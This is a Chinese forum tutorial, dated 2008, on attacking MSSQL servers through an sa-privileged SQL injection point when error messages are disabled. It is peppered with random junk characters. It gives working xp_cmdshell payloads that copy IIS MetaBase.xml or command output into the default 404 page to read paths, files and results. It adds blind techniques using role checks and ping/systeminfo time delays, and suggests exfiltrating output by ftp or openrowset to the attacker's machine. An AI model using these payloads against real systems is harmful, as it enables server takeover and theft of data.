遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。$ @# S! v ^6 z5 _8 Z7 Q) b
8 k9 G) b5 [" K$ @! ]' B
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。" t( r% T2 B! T- f, _
% D" K! N. a% ?8 n' y) r# a. [6 O
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
+ W6 _" H( l* l* `( _
2 q0 ]; S* b0 ~3 W7 J8 C IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm4 l( \! i% k* Q& ~+ w
9 U% }" u4 G. H+ y 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
8 k# k0 x, Z- h3 r+ P, l3 r8 v5 E) J" F% T9 [2 V j
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。 I( V- l+ w7 \; i* o' I
: D" E) R. e8 K; Z, F1 a 执行命令得到回显
6 z- h. _, i4 h" Q- h5 q/ ]( K. D% u5 H
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--' @5 V6 g- g, }
- J: f8 @8 J2 O5 L$ X M6 H8 b
得到文件也shi相同,把文件copy到404b.htm就行了' W5 s- h! s6 b# t7 {
( n8 y) \ Q. R- ]5 D
by 28ice, 2008/6/26% q" j Y3 H8 |; @
" b6 C% q1 x4 [: d; z8 l6 c$ C3 Z 摘自 28度的冰7 c6 X, g3 Q% t* Q; ~5 F& V, }
) _ P0 M0 B& f3 l
盲注判断权限和操作系统版本
5 y! H4 H) F4 e+ w' R5 h# {& X6 h1 ]# K6 q' e8 F. t
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
7 i8 {4 J6 H5 n8 f
3 N1 q8 k! Y/ } 最简单的,可能以用这样的方法:
# t$ `, G8 ~" c7 c& ~" b; e/ {9 v1 {! T
1=(select IS_SRVROLEMEMBER(’sysadmin’)) ^4 a8 J6 P: x& F
5 F2 O* s5 J7 r4 z0 ~, E
当然,有些情况下,这个方法并不奏效。0 D/ \" `) i+ w) N H4 f3 `/ T# u
5 f5 G- F/ Z8 ~( ^7 Q
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
) o! j$ `4 Y2 w5 A
! V% R$ |3 V% {5 e" `) G 有个3办法可能以解决这个问题
. C$ @- Z/ F9 R8 \& e4 Y" u: g' Z/ b: v) S' R, U$ J) `" Q( \
a.把执行结果写到404b.htm,具体请看我的上一篇文章. v! S6 i- h' Y! A ~
k0 }' ~4 [5 t ]
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟6 g% Z, d6 Y7 ^4 m! V+ A9 {
/ s& C! ^% U! O& b c.如果1433端口可能以连接,那干脆新建个sql登录
$ o) |' ?! ` r: |' a: O1 h. D0 J+ ~( ~" [, o- v" T/ ~& L) i. p: e* t
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
. B- E7 t' I5 {# R, ^+ ]/ L. W6 @( X" q; u! A
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下! d6 q q7 X- n3 ]! r7 C' e- H6 y
1 R9 m( K2 X7 B% J5 `$ c9 A 很简单4 x/ i& v+ } V" ~ p9 m# B$ J
4 H' {/ {) [5 E$ ~( A3 j# \0 v1 O 执行systeminfo3 x- D; n/ Z$ d% i0 N
. P1 W# s* H" J
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |